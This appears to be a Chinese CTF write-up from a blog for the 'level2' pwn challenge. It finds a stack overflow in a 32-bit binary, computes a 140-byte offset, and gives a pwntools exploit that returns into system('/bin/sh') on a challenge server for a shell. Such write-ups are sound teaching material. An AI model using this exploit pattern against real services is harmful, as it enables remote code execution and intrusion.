level2--writeup

文件下载地址:

链接:https://pan.baidu.com/s/1jiR84G8Ji3luscmYTOOKAA
提取码:jz7n

0x01.分析

checksec:

32位程序,开启NX。

源码:

发现系统调用了system,但是参数并不是/bin/sh,后面有read函数,存在栈溢出,继续寻找,看是否有bin/sh:

果然存在。

得到bin/sh的地址,最后只需确定一下偏移量:

由于这个程序不知道为什么再gdb里不能正常退出,可能是系统调用的原因,具体不是很清楚,不过我们可以手动计算出:

应该是0x80-0+4=140.(0是指举例esp长度,4是ebp的大小)。

0x02.exp

##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47065)
#r=process('./level2')

system_adr=0x08048320
bin_sh_adr=0x0804A024
payload=140*'A'+p32(system_adr)+p32(0)+p32(bin_sh_adr)

r.recvuntil(":")
r.sendline(payload)
r.interactive()

发布了76 篇原创文章 · 获赞 82 · 访问量 7078

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104592491